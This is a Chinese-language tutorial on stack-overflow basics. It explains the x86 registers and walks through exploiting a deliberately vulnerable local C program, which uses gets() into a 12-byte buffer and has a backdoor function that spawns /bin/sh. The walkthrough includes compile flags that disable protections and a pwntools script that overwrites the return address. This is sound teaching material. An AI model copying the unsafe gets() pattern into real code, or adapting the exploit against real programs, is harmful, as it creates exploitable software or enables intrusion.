PWN学习-栈溢出基础

  1. 1. 栈溢出基础
    1. 1.1. 三个重要的寄存器
    2. 1.2. 栈溢出原理
    3. 1.3. 实践

栈溢出基础

三个重要的寄存器

  • EBP : 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置
  • ESP : 用来存储函数调用栈的栈顶地址, 在压栈和退栈时发生变化
  • EIP : 用来存储即将执行的程序指令的地址, cpu 依照 EIP 的存储内容读取指令并执行, EIP 随之指向相邻的下一条指令

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变

用一张图概括就是

1644374045255.png

简单的例子

1644389312407.png

篡改返回地址为目的函数地址即可。

实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

上面这样一个c语言程序,success就是一个后门函数,我们通过栈溢出篡改返回地址为success。

编译一下

1
gcc -m32 -fno-stack-protector -no-pie hello.c -o hello

其中-m32是生成32位程序,-fno-stack-protector是不开启堆栈溢出的保护(不生成canary)-no-pie是关闭PIE。

1644390330009.png

没有canary和pie,开启了NX,NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

放IDA调试

看存在溢出的vulnerable函数,双击s

1644409672211.png

1644409716066.png

所以s字符串离当前的栈底有20个字节的距离。

success函数地址为804846B

我们利用gets溢出覆盖返回地址位success地址即可getshell

思路:先用20个字符填满s到ebp之间的内容,然后是4字节ebp的内容。

写EXP

1
2
3
4
5
6
from pwn import *
pro = process('./hello')
success = 0x804846B
payload = b'a'*24+p32(success)
pro.sendline(payload)
pro.interactive()

1644410625366.png